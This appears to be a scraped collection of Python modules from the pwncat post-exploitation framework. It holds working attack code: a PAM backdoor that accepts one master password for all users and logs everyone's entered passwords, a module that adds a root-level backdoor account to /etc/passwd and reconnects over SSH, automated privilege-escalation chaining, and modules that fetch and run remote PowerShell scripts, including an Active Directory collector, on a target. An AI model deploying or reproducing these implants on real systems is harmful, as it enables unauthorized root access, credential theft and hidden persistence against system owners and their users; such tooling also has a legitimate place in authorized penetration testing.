                    if "implant.spawn" in implant.types:
                        # Move to the newly established session
                        session.manager.target = result
                    else:
                        # Track the new shell layer in the current session
                        session.layers.append(result)
                        session.platform.refresh_uid()

                    session.log(
                        f"escalation [green]succeeded[/green] with: {implant.title(session)}"
                    )
                    break
                except ModuleFailed:
                    continue
        else:
            if escalate:
                raise ModuleFailed(
                    "no working local escalation implants found")

        if nremoved:
            session.log(f"removed {nremoved} implants from target")

        # Save database modifications
        session.db.transaction_manager.commit()
Exemple #13
0
class Module(ImplantModule):
    """
    Install a backdoor PAM module which allows authentication
    with a single password for all users. This PAM module does
    not interrupt authentication with correct user passwords.
    Further, it will log all entered passwords (except the
    backdoor password) to a log file which can be collected
    with the creds.pam enumeration module. The installed module
    will be named `pam_succeed.so`.
    """

    PLATFORM = [Linux]
    ARGUMENTS = {
        **ImplantModule.ARGUMENTS,
        "password":
        Argument(str, help="The password to use for the backdoor"),
        "log":
        Argument(
            str,
            default="/var/log/firstlog",
            help="Remote path to store logged user/password combinations",
        ),
    }

    def install(self, session: "pwncat.manager.Session", password, log):
        """install the pam module"""

        if session.current_user().id != 0:
            raise ModuleFailed(
                "root permissions required to install pam module")

        if any(i.source == self.name
               for i in session.run("enumerate", types=["implant.replace"])):
            raise ModuleFailed(
                "only one pam implant may be installed at a time")

        yield Status("loading pam module source code")
        with open(pkg_resources.resource_filename("pwncat", "data/pam.c"),
                  "r") as filp:
            sneaky_source = filp.read()

        yield Status("checking selinux state")
        for selinux in session.run("enumerate", types=["system.selinux"]):
            if selinux.enabled and "enforc" in selinux.mode:
                raise ModuleFailed("selinux enabled in enforce mode")
            elif selinux.enabled:
                session.log(
                    "[yellow]warning[/yellow]: selinux is enabled; implant will be logged!"
                )

        # Hash the backdoor password and prepare for source injection
        password_hash = ",".join(
            hex(c) for c in hashlib.sha1(password.encode("utf-8")).digest())

        yield Status("patching module source code")

        # Inject password hash into source code
        sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash)

        # Inject log path
        sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log)

        try:
            yield Status("compiling pam module")
            lib_path = session.platform.compile(
                [io.StringIO(sneaky_source)],
                suffix=".so",
                cflags=["-shared", "-fPIE"],
                ldflags=["-lcrypto"],
            )
        except (PlatformError, NotImplementedError) as exc:
            raise ModuleFailed(str(exc)) from exc

        try:
            yield Status("locating pam modules... ")
            result = session.platform.run(
                "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'",
                shell=True,
                capture_output=True,
                text=True,
                check=True,
            )
            pam_location = session.platform.Path(
                result.stdout.strip().split("\n")[0]).parent
        except CalledProcessError as exc:
            try:
                session.platform.run(["rm", "-f", lib_path], check=True)
            except CalledProcessError:
                session.register_fact(
                    CreatedFile(source=self.name, uid=0, path=lib_path))
            raise ModuleFailed(
                "failed to locate pam installation location") from exc

        yield Status("copying pam module")
        session.platform.run(
            ["mv", lib_path,
             str(pam_location / "pam_succeed.so")])

        added_line = "auth\tsufficient\tpam_succeed.so\n"
        modified_configs = []
        config_path = session.platform.Path("/", "etc", "pam.d")

        yield Status("patching pam configuration: ")
        for config in ["common-auth"]:
            yield Status(f"patching pam configuration: {config}")

            try:
                with (config_path / config).open("r") as filp:
                    content = filp.readlines()
            except (PermissionError, FileNotFoundError):
                continue

            any("pam_rootok" in line for line in content)
            for i, line in enumerate(content):
                if "pam_rootok" in line:
                    content.insert(i + 1, added_line)
                    break
                elif line.startswith("auth"):
                    content.insert(i, added_line)
                    break
            else:
                content.append(added_line)

            try:
                with (config_path / config).open("w") as filp:
                    filp.writelines(content)
                modified_configs.append(config)
            except (PermissionError, FileNotFoundError):
                continue

        if not modified_configs:
            (pam_location / "pam_succeed.so").unlink()
            raise ModuleFailed("failed to add module to configuration")

        return PamImplant(
            self.name,
            password,
            log,
            str(pam_location / "pam_succeed.so"),
            modified_configs,
            added_line,
        )
Exemple #14
0
class Module(PersistModule):
    """
    Install a backdoor PAM module which allows authentication
    with a single password for all users. This PAM module does
    not interrupt authentication with correct user passwords.
    Further, it will log all entered passwords (except the
    backdoor password) to a log file which can be collected
    with the creds.pam enumeration module. The installed module
    will be named `pam_succeed.so`.
    """

    TYPE = PersistType.LOCAL | PersistType.REMOTE | PersistType.ALL_USERS
    PLATFORM = Platform.LINUX
    ARGUMENTS = {
        **PersistModule.ARGUMENTS,
        "password": Argument(str, help="The password to use for the backdoor"),
        "log": Argument(
            str,
            default="/var/log/firstlog",
            help="Location where username/passwords will be logged",
        ),
    }

    def install(self, user: str, password: str, log: str):
        """ Install this module """

        if user is not None:
            self.progress.log(
                f"[yellow]warning[/yellow]: {self.name}: this module applies to all users"
            )

        if pwncat.victim.current_user.id != 0:
            raise PersistError("must be root")

        # Read the source code
        with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp:
            sneaky_source = filp.read()

        yield Status("checking selinux state")

        # SELinux causes issues depending on it's configuration
        for selinux in pwncat.modules.run(
            "enumerate.gather", progress=self.progress, types=["system.selinux"]
        ):
            if selinux.data.enabled and "enforc" in selinux.data.mode:
                raise PersistError("selinux is currently in enforce mode")
            elif selinux.data.enabled:
                self.progress.log(
                    "[yellow]warning[/yellow]: selinux is enabled; persistence may be logged"
                )

        # We use the backdoor password. Build the string of encoded bytes
        # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
        password_hash = hashlib.sha1(password.encode("utf-8")).digest()
        password_hash = ",".join(hex(c) for c in password_hash)

        # Insert our key
        sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash)

        # Insert the log location for successful passwords
        sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log)

        yield Status("compiling pam module for target")

        try:
            # Compile our source for the remote host
            lib_path = pwncat.victim.compile(
                [io.StringIO(sneaky_source)],
                suffix=".so",
                cflags=["-shared", "-fPIE"],
                ldflags=["-lcrypto"],
            )
        except (FileNotFoundError, CompilationError) as exc:
            raise PersistError(f"pam: compilation failed: {exc}")

        yield Status("locating pam module installation")

        # Locate the pam_deny.so to know where to place the new module
        pam_modules = "/usr/lib/security"
        try:
            results = (
                pwncat.victim.run(
                    "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
                )
                .strip()
                .decode("utf-8")
            )
            if results != "":
                results = results.split("\n")
                pam_modules = os.path.dirname(results[0])
        except FileNotFoundError:
            pass

        yield Status(f"pam modules located at {pam_modules}")

        # Ensure the directory exists and is writable
        access = pwncat.victim.access(pam_modules)
        if (Access.DIRECTORY | Access.WRITE) in access:
            # Copy the module to a non-suspicious path
            yield Status("copying shared library")
            pwncat.victim.env(
                ["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
            )
            new_line = "auth\tsufficient\tpam_succeed.so\n"

            yield Status("adding pam auth configuration")

            # Add this auth method to the following pam configurations
            for config in ["sshd", "sudo", "su", "login"]:
                yield Status(f"adding pam auth configuration: {config}")
                config = os.path.join("/etc/pam.d", config)
                try:
                    # Read the original content
                    with pwncat.victim.open(config, "r") as filp:
                        content = filp.readlines()
                except (PermissionError, FileNotFoundError):
                    continue

                # We need to know if there is a rootok line. If there is,
                # we should add our line after it to ensure that rootok still
                # works.
                contains_rootok = any("pam_rootok" in line for line in content)

                # Add this auth statement before the first auth statement
                for i, line in enumerate(content):
                    # We either insert after the rootok line or before the first
                    # auth line, depending on if rootok is present
                    if contains_rootok and "pam_rootok" in line:
                        content.insert(i + 1, new_line)
                    elif not contains_rootok and line.startswith("auth"):
                        content.insert(i, new_line)
                        break
                else:
                    content.append(new_line)

                content = "".join(content)

                try:
                    with pwncat.victim.open(config, "w", length=len(content)) as filp:
                        filp.write(content)
                except (PermissionError, FileNotFoundError):
                    continue

            pwncat.victim.tamper.created_file(log)

    def remove(self, **unused):
        """ Remove this module """

        try:

            # Locate the pam_deny.so to know where to place the new module
            pam_modules = "/usr/lib/security"

            yield Status("locating pam modules")

            results = (
                pwncat.victim.run(
                    "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
                )
                .strip()
                .decode("utf-8")
            )
            if results != "":
                results = results.split("\n")
                pam_modules = os.path.dirname(results[0])

            yield Status(f"pam modules located at {pam_modules}")

            # Ensure the directory exists and is writable
            access = pwncat.victim.access(pam_modules)
            if (Access.DIRECTORY | Access.WRITE) in access:
                # Remove the the module
                pwncat.victim.env(
                    ["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")]
                )
                new_line = "auth\tsufficient\tpam_succeed.so\n"

                # Remove this auth method from the following pam configurations
                for config in ["sshd", "sudo", "su", "login"]:
                    config = os.path.join("/etc/pam.d", config)
                    try:
                        with pwncat.victim.open(config, "r") as filp:
                            content = filp.readlines()
                    except (PermissionError, FileNotFoundError):
                        continue

                    # Add this auth statement before the first auth statement
                    content = [line for line in content if line != new_line]
                    content = "".join(content)

                    try:
                        with pwncat.victim.open(
                            config, "w", length=len(content)
                        ) as filp:
                            filp.write(content)
                    except (PermissionError, FileNotFoundError):
                        continue
            else:
                raise PersistError("insufficient permissions")
        except FileNotFoundError as exc:
            # Uh-oh, some binary was missing... I'm not sure what to do here...
            raise PersistError(f"[red]error[/red]: {exc}")

    def escalate(self, user: str, password: str, log: str) -> bool:
        """ Escalate to the given user with this module """

        try:
            pwncat.victim.su(user, password)
        except PermissionError:
            raise PersistError("Escalation failed. Is selinux enabled?")

    def connect(self, user: str, password: str, log: str) -> socket.SocketType:
        """ Connect to the victim with this module """

        try:
            yield Status("connecting to host")
            # Connect to the remote host's ssh server
            sock = socket.create_connection((pwncat.victim.host.ip, 22))
        except Exception as exc:
            raise PersistError(str(exc))

        # Create a paramiko SSH transport layer around the socket
        yield Status("wrapping socket in ssh transport")
        t = paramiko.Transport(sock)
        try:
            t.start_client()
        except paramiko.SSHException:
            raise PersistError("ssh negotiation failed")

        # Attempt authentication
        try:
            yield Status("authenticating with victim")
            t.auth_password(user, password)
        except paramiko.ssh_exception.AuthenticationException:
            raise PersistError("incorrect password")

        if not t.is_authenticated():
            t.close()
            sock.close()
            raise PersistError("incorrect password")

        # Open an interactive session
        chan = t.open_session()
        chan.get_pty()
        chan.invoke_shell()

        yield chan
Exemple #15
0
class Module(PersistModule):
    """
    Install a backdoor user (w/ UID=0) in `/etc/passwd` with our backdoor
    password. This allows reconnection if SSH allows password auth
    and privilege escalation locally with `su`.
    """

    TYPE = PersistType.LOCAL
    ARGUMENTS = {
        **PersistModule.ARGUMENTS,
        "backdoor_user": Argument(
            str, default="pwncat", help="The name of the new user to add"
        ),
        "backdoor_pass": Argument(
            str, default="pwncat", help="The password for the new user"
        ),
        "shell": Argument(
            str, default="current", help="The shell to assign for the user"
        ),
    }
    PLATFORM = pwncat.platform.Platform.LINUX

    def install(self, user, backdoor_user, backdoor_pass, shell):
        """ Install this module """

        # Hash the password
        hashed = crypt.crypt(backdoor_pass)

        if shell == "current":
            shell = pwncat.victim.shell

        try:
            with pwncat.victim.open("/etc/passwd", "r") as filp:
                passwd = filp.readlines()
        except (PermissionError, FileNotFoundError) as exc:
            raise PersistError(str(exc))

        passwd.append(f"{backdoor_user}:{hashed}:0:0::/root:{shell}\n")
        passwd_content = "".join(passwd)

        try:
            with pwncat.victim.open(
                "/etc/passwd", "w", length=len(passwd_content)
            ) as filp:
                filp.write(passwd_content)
        except (PermissionError, FileNotFoundError) as exc:
            raise PersistError(str(exc))

        # Reload the user database
        pwncat.victim.reload_users()

    def remove(self, user, backdoor_user, backdoor_pass, shell):
        """ Remove this module """

        if user != "root":
            raise PersistError("only root persistence is possible")

        # Hash the password
        hashed = crypt.crypt(backdoor_pass)

        if shell == "current":
            shell = pwncat.victim.shell

        try:
            with pwncat.victim.open("/etc/passwd", "r") as filp:
                passwd = filp.readlines()
        except (PermissionError, FileNotFoundError) as exc:
            raise PersistError(str(exc))

        for i in range(len(passwd)):
            entry = passwd[i].split(":")
            if entry[0] == backdoor_user:
                passwd.pop(i)
                break
        else:
            return

        passwd_content = "".join(passwd)

        try:
            with pwncat.victim.open(
                "/etc/passwd", "w", length=len(passwd_content)
            ) as filp:
                filp.write(passwd_content)
        except (PermissionError, FileNotFoundError) as exc:
            raise PersistError(str(exc))

        # Reload the user database
        pwncat.victim.reload_users()

    def connect(self, user, backdoor_user, backdoor_pass, shell):

        try:
            yield Status("connecting to host")
            # Connect to the remote host's ssh server
            sock = socket.create_connection((pwncat.victim.host.ip, 22))
        except Exception as exc:
            raise PersistError(str(exc))

        # Create a paramiko SSH transport layer around the socket
        yield Status("wrapping socket in ssh transport")
        t = paramiko.Transport(sock)
        try:
            t.start_client()
        except paramiko.SSHException:
            raise PersistError("ssh negotiation failed")

        # Attempt authentication
        try:
            yield Status("authenticating with victim")
            t.auth_password(backdoor_user, backdoor_pass)
        except paramiko.ssh_exception.AuthenticationException:
            raise PersistError("incorrect password")

        if not t.is_authenticated():
            t.close()
            sock.close()
            raise PersistError("incorrect password")

        # Open an interactive session
        chan = t.open_session()
        chan.get_pty()
        chan.invoke_shell()

        yield chan

    def escalate(self, user, backdoor_user, backdoor_pass, shell):
        """ Utilize this module to escalate """

        pwncat.victim.run(f"su {backdoor_user}", wait=False)
        pwncat.victim.recvuntil(": ")
        pwncat.victim.client.send(backdoor_pass.encode("utf-8") + b"\n")
        pwncat.victim.update_user()
Exemple #16
0
class Module(BaseModule):
    """
    Import a powershell module into the current powershell context.
    """

    ARGUMENTS = {
        "path":
        Argument(str, help="The module to load into the powershell context"),
        "force":
        Argument(
            Bool,
            help="Force module loading, even if it has been loaded before",
            default=False,
        ),
    }
    PLATFORM = [Windows]

    def __init__(self):
        self.imported_modules = []

    def resolve_psmodule(self, session: "pwncat.manager.Session", path: str):
        """Resolve a module name into a file-like object"""

        if path.startswith("http://") or path.startswith("https://"):
            # Load from a URL
            r = requests.get(path, stream=True)
            if r.status_code != 200:
                raise PSModuleNotFoundError(path)
            return path.split("/")[-1], BytesIO(r.content + b"\n")

        orig_path = path
        path = Path(path)

        if path.is_file():
            # Load from absolute or CWD path
            return path.name, path.open("rb")
        elif (Path(session.config["psmodules"]) / path).is_file():
            # Load from local modules directory
            return path.name, (Path(session.config["psmodules"]) /
                               path).open("rb")
        elif len(orig_path.lstrip("/").split("/")) > 2:
            # Load from githubusercontent.com ( path = "user/repo/path/to/file.ps1" )
            orig_path = orig_path.lstrip("/").split("/")
            orig_path.insert(2, "master")
            orig_path = "/".join(orig_path)
            url = f"https://raw.githubusercontent.com/{orig_path}"
            r = requests.get(url, stream=True)

            if r.status_code != 200:
                raise PSModuleNotFoundError(orig_path)

            return (path.name, BytesIO(r.content + b"\n"))
        else:
            raise PSModuleNotFoundError(orig_path)

    def run(self, session: "pwncat.manager.Session", path, force):

        name, filp = self.resolve_psmodule(session, path)

        if name in session.platform.psmodules and not force:
            return

        session.platform.powershell(filp)

        session.platform.psmodules.append(name)
Exemple #17
0
class Module(BaseModule):
    """
    Gather a list of currently installed persistence modules.
    This module allows you to perform actions such as escalation
    and removal across a list of modules. You can apply filters
    based on the arguments of specific modules or with a module
    name itself.

    If you provide an argument filter then only modules with a
    matching argument name will be displayed.
    """

    ARGUMENTS = {
        "module": Argument(str, default=None, help="Module name to look for"),
        "escalate": Argument(
            Bool, default=False, help="Utilize matched modules for escalation"
        ),
        "remove": Argument(Bool, default=False, help="Remove all matched modules"),
    }
    ALLOW_KWARGS = True
    PLATFORM = pwncat.platform.Platform.NO_HOST

    def run(self, module, escalate, remove, **kwargs):
        """ Execute this module """

        if pwncat.victim.host is not None:
            query = pwncat.victim.session.query(pwncat.db.Persistence).filter_by(
                host_id=pwncat.victim.host.id
            )
        else:
            query = pwncat.victim.session.query(pwncat.db.Persistence)

        if module is not None:
            query = query.filter_by(method=module)

        # Grab all the rows
        # We also filter here for any other key-value arguments passed
        # to the `run` call. We ensure the relevant key exists, and
        # that it is equal to the specified value, unless the key is None.
        # If a key is None in the database, we assume it can take on any
        # value and utilize it as is. This is mainly for the `user` argument
        # as some persistence methods apply to all users.
        modules = [
            InstalledModule(
                persist=row,
                module=pwncat.modules.find(row.method, ignore_platform=True),
            )
            for row in query.all()
            if all(
                [
                    key in row.args
                    and (row.args[key] == value or row.args[key] is None)
                    for key, value in kwargs.items()
                ]
            )
        ]

        if remove:
            for module in modules:
                yield Status(f"removing {module.name}")
                module.remove(progress=self.progress)
            return

        if escalate:
            for module in modules:
                yield Status(f"escalating w/ [cyan]{module.name}[/cyan]")
                try:
                    # User is a special case. It can be passed on because some modules
                    # apply to all users, which means their `args` will contain `None`.
                    if "user" in kwargs:
                        module.escalate(user=kwargs["user"], progress=self.progress)
                    else:
                        module.escalate(progress=self.progress)
                    # Escalation succeeded!
                    return
                except pwncat.modules.PersistError:
                    # Escalation failed
                    pass

        yield from modules
Exemple #18
0
class EscalateModule(BaseModule):
    """ The base module for all escalation modules. This module
    is responsible for enumerating ``Technique`` objects which
    can be used to attempt various escalation actions.

    With no arguments, a standard escalate module will return
    an ``EscalateResult`` object which contains all techniques
    enumerated and provides helper methods for programmatically
    performing escalation and combining results from multiple
    modules.

    Alternatively, the ``exec``, ``write``, and ``read`` arguments
    can be used to have the module automatically attempt the
    respective operation basedo on the arguments passed.
    """

    ARGUMENTS = {
        "user":
        Argument(str,
                 default="root",
                 help="The user you would like to escalate to"),
        "exec":
        Argument(Bool,
                 default=False,
                 help="Attempt escalation only using this module"),
        "write":
        Argument(Bool,
                 default=False,
                 help="Attempt to write a file using this module"),
        "read":
        Argument(Bool,
                 default=False,
                 help="Attempt to read a file using this module"),
        "shell":
        Argument(str, default="current", help="The shell to use for exec"),
        "path":
        Argument(str, default=None, help="The file to read/write"),
        "data":
        Argument(str, default=None, help="The data to write to a file"),
    }
    # This causes the BaseModule to collapse a single generator result
    # into it's value as opposed to returning a list with one entry.
    # This allows us to use `yield Status()` to update the progress
    # while still returning a single value
    COLLAPSE_RESULT = True

    PRIORITY = 100
    """ The priority of this escalation module. Values <= 0 are reserved.
    Indicates the order in which techniques are executed when attempting
    escalation. Lower values execute first. """
    def run(self, user, exec, read, write, shell, path, data, **kwargs):
        """ This method is not overriden by subclasses. Subclasses should
        should implement the ``enumerate`` method which yields techniques.

        Running a module results in an EnumerateResult object which can be
        formatted by the default `run` command or used to execute various
        privilege escalation primitives utilizing the techniques enumerated.
        """

        if (exec + read + write) > 1:
            raise ArgumentFormatError(
                "only one of exec, read, and write may be specified")

        if path is None and (read or write):
            raise ArgumentFormatError("path not specified for read/write")

        if data is None and write:
            raise ArgumentFormatError("data not specified for write")

        result = EscalateResult({})

        yield Status("gathering techniques")

        for technique in self.enumerate(**kwargs):
            yield Status(technique)
            result.add(technique)

        if shell == "current":
            shell = pwncat.victim.shell

        if exec:
            yield result.exec(user=user, shell=shell, progress=self.progress)
        elif read:
            filp = result.read(user=user,
                               filepath=path,
                               progress=self.progress)
            yield FileContentsResult(path, filp)
        elif write:
            yield result.write(user=user,
                               filepath=path,
                               data=data,
                               progress=self.progress)
        else:
            yield result

    def enumerate(self, **kwargs) -> "Generator[Technique, None, None]":
        """ Enumerate techniques for this module. Each technique must
        implement at least one capability, and all techniques will be
        used together to escalate privileges. Any custom arguments
        are passed to this method through keyword arguments. None of
        the default arguments are passed here.

        """
        while False:
            yield None

        raise NotImplementedError

    def human_name(self, tech: "Technique"):
        """ Defines the human readable name/description of this vuln """
        return self.name
Exemple #19
0
class Module(BaseModule):
    """
    Attempt to automatically escalate to the given user through
    any path available. This may cause escalation through multiple
    users.
    """

    ARGUMENTS = {
        "user":
        Argument(str, default="root", help="The target user for escalation"),
        "exec":
        Argument(Bool,
                 default=False,
                 help="Attempt to execute a shell as the given user"),
        "read":
        Argument(Bool,
                 default=False,
                 help="Attempt to read a file as the given user"),
        "write":
        Argument(Bool,
                 default=False,
                 help="Attempt to write a file as the given user"),
        "shell":
        Argument(str,
                 default="current",
                 help="The shell to use for escalation"),
        "path":
        Argument(str,
                 default=None,
                 help="The path to the file to be read/written"),
        "data":
        Argument(str, default=None, help="The data to be written"),
    }
    COLLAPSE_RESULT = True
    PLATFORM = pwncat.platform.Platform.ANY

    def run(self, user, exec, write, read, path, data, shell):

        whole_chain = EscalateChain(None, chain=[])
        tried_users = [user]
        result_list = []
        target_user = user

        if (exec + write + read) > 1:
            raise pwncat.modules.ArgumentFormatError(
                "only one of exec/write/read may be used")

        if (read or write) and path is None:
            raise ArgumentFormatError("file path not specified")

        if write and data is None:
            raise ArgumentFormatError("file content not specified")

        if shell == "current":
            shell = pwncat.victim.shell

        # Collect escalation options
        result = EscalateResult(techniques={})
        yield Status("gathering techniques")
        for module in pwncat.modules.match(r"escalate.*", base=EscalateModule):
            try:
                yield Status(f"gathering techniques from {module.name}")
                result.extend(module.run(progress=self.progress))
            except (ArgumentFormatError, MissingArgument):
                continue

        while True:

            try:
                if exec:
                    yield Status(f"attempting escalation to {target_user}")
                    chain = result.exec(target_user, shell, self.progress)
                    whole_chain.extend(chain)
                    yield whole_chain
                    return
                elif write:
                    yield Status(f"attempting file write as {target_user}")
                    result.write(target_user, path, data, self.progress)
                    whole_chain.unwrap()
                    return
                elif read:
                    yield Status(f"attempting file read as {target_user}")
                    filp, _ = result.read(target_user, path, self.progress)
                    yield FileContentsResult(path, filp)
                    return
                else:
                    # We just wanted to list all techniques from all modules
                    yield result
                    return
            except EscalateError:
                pass

            for user in result.techniques.keys():
                # Ignore already tried users
                if user in tried_users:
                    continue

                # Mark this user as tried
                tried_users.append(user)

                try:
                    yield Status(f"attempting recursion to {user}")

                    # Attempt escalation
                    chain = result.exec(user, shell, self.progress)

                    # Extend the chain with this new chain
                    whole_chain.extend(chain)

                    # Save our current results in the list
                    result_list.append(result)

                    # Get new results for this user
                    result = EscalateResult(techniques={})
                    yield Status(f"success! gathering new techniques...")
                    for module in pwncat.modules.match(r"escalate.*",
                                                       base=EscalateModule):
                        try:
                            result.extend(module.run(progress=self.progress))
                        except (
                                ArgumentFormatError,
                                MissingArgument,
                        ):
                            continue

                    # Try again
                    break
                except EscalateError:
                    continue
            else:

                if not result_list:
                    # There are no more results to try...
                    raise EscalateError("no escalation path found")

                # The loop was exhausted. This user didn't work.
                # Go back to the previous step, but don't try this user
                whole_chain.pop()
                result = result_list.pop()
Exemple #20
0
class Module(BaseModule):
    """
    Load the Invoke-BloodHound cmdlet and execute it. Automatically download the
    resulting zip file to a defined location and remove it from the target.
    """

    PLATFORM = [Windows]
    ARGUMENTS = {
        "CollectionMethod":
        Argument(
            List(str),
            default=None,
            help="Specifies the collection method(s) to be used.",
        ),
        "Stealth":
        Argument(
            Bool,
            default=None,
            help="Use the stealth collection options (default: false)",
        ),
        "Domain":
        Argument(
            str,
            default=None,
            help="Specifies the domain to enumerate (default: current)",
        ),
        "WindowsOnly":
        Argument(
            Bool,
            default=None,
            help=
            "Limits computer collection to systems that have an operatingsystem attribute that matches *Windows",
        ),
        "ZipFilename":
        Argument(str, help="Name for the zip file output by data collection"),
        "NoSaveCache":
        Argument(
            Bool,
            default=None,
            help=
            "Don't write the cache file to disk. Caching will still be performed in memory.",
        ),
        "EncryptZip":
        Argument(Bool,
                 default=None,
                 help="Encrypt the zip file with a random password"),
        "InvalidateCache":
        Argument(Bool,
                 default=None,
                 help="Invalidate and rebuild the cache file"),
        "SearchBase":
        Argument(
            str,
            default=None,
            help=
            "DistinguishedName at which to start LDAP searches. Equivalent to the old -Ou option",
        ),
        "LdapFilter":
        Argument(
            str,
            default=None,
            help=
            "Append this ldap filter to the search filter to further filter the results enumerated",
        ),
        "DomainController":
        Argument(
            str,
            default=None,
            help=
            "Domain controller to which to connect. Specifying this can result in data loss",
        ),
        "LdapPort":
        Argument(
            int,
            default=None,
            help="Port LDAP is running on (default: 389/686 for LDAPS)",
        ),
        "SecureLDAP":
        Argument(
            Bool,
            default=None,
            help="Connect to LDAPS (LDAP SSL) instead of regular LDAP",
        ),
        "DisableKerberosSigning":
        Argument(
            Bool,
            default=None,
            help=
            "Disables kerberos signing/sealing, making LDAP traffic viewable",
        ),
        "LdapUsername":
        Argument(
            str,
            default=None,
            help=
            "Username for connecting to LDAP. Use this if you're using a non-domain account for connecting to computers",
        ),
        "LdapPassword":
        Argument(str, default=None, help="Password for connecting to LDAP"),
        "SkipPortScan":
        Argument(Bool,
                 default=None,
                 help="Skip SMB port checks when connecting to computers"),
        "PortScanTimeout":
        Argument(int, default=None, help="Timeout for SMB port checks"),
        "ExcludeDomainControllers":
        Argument(
            Bool,
            default=None,
            help=
            "Exclude domain controllers from enumeration (useful to avoid Microsoft ATP/ATA)",
        ),
        "Throttle":
        Argument(int,
                 default=None,
                 help="Throttle requests to computers (in milliseconds)"),
        "Jitter":
        Argument(int, default=None, help="Add jitter to throttle"),
        "OverrideUserName":
        Argument(str,
                 default=None,
                 help="Override username to filter for NetSessionEnum"),
        "NoRegistryLoggedOn":
        Argument(
            Bool,
            default=None,
            help="Disable remote registry check in LoggedOn collection",
        ),
        "DumpComputerStatus":
        Argument(
            Bool,
            default=None,
            help="Dumps error codes from attempts to connect to computers",
        ),
        "RealDNSName":
        Argument(str,
                 default=None,
                 help="Overrides the DNS name used for API calls"),
        "CollectAllProperties":
        Argument(Bool,
                 default=None,
                 help="Collect all string LDAP properties on objects"),
        "StatusInterval":
        Argument(int,
                 default=None,
                 help="Interval for displaying status in milliseconds"),
        "Loop":
        Argument(Bool,
                 default=None,
                 help="Perform looping for computer collection"),
        "LoopDuration":
        Argument(str,
                 default=None,
                 help="Duration to perform looping (default: 02:00:00)"),
        "LoopInterval":
        Argument(
            str,
            default=None,
            help="Interval to sleep between loops (default: 00:05:00)",
        ),
    }
    SHARPHOUND_URL = "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1"

    def run(self, session: "pwncat.manager.Session", **kwargs):

        # First, we need to load BloodHound
        try:
            yield Status("importing Invoke-BloodHound cmdlet")
            session.run("manage.powershell.import", path=self.SHARPHOUND_URL)
        except (ModuleFailed, PowershellError) as exc:
            raise ModuleFailed(f"while importing Invoke-BloodHound: {exc}")

        # Try to create a temporary file. We're just going to delete it, but
        # this gives us a tangeable temporary path to put the zip file.
        yield Status("locating a suitable temporary file location")
        with session.platform.tempfile(suffix="zip", mode="w") as filp:
            file_path = filp.name

        path = session.platform.Path(file_path)
        path.unlink()

        # Note the local path to the downloaded zip file and set it to our temp
        # file path we just created/deleted.
        output_path = kwargs["ZipFilename"]
        kwargs["ZipFilename"] = path.parts[-1]
        kwargs["OutputDirectory"] = str(path.parent)

        # Build the arguments
        bloodhound_args = {k: v for k, v in kwargs.items() if v is not None}
        argument_list = ["Invoke-BloodHound"]

        for k, v in bloodhound_args.items():
            if isinstance(v, bool) and v:
                argument_list.append(f"-{k}")
            elif not isinstance(v, bool):
                argument_list.append(f"-{k}")
                argument_list.append(str(v))

        powershell_command = shlex.join(argument_list)

        # Execute BloodHound
        try:
            yield Status("executing bloodhound collector")
            session.platform.powershell(powershell_command)
        except (ModuleFailed, PowershellError) as exc:
            raise ModuleFailed(f"Invoke-BloodHound: {exc}")

        output_name = path.parts[-1]
        path_list = list(path.parent.glob(f"**_{output_name}"))
        if not path_list:
            raise ModuleFailed("unable to find bloodhound output")

        # There should only be one result
        path = path_list[0]

        # Download the contents of the zip file
        try:
            yield Status(f"downloading results to {output_path}")
            with open(output_path, "wb") as dst:
                with path.open("rb") as src:
                    shutil.copyfileobj(src, dst)
        except (FileNotFoundError, PermissionError) as exc:
            if output_path in str(exc):
                try:
                    path.unlink()
                except FileNotFoundError:
                    pass
                raise ModuleFailed(f"permission error: {output_path}") from exc
            raise ModuleFailed(
                "bloodhound failed or access to output was denied")

        # Delete the zip from the target
        yield Status("deleting collected results from target")
        path.unlink()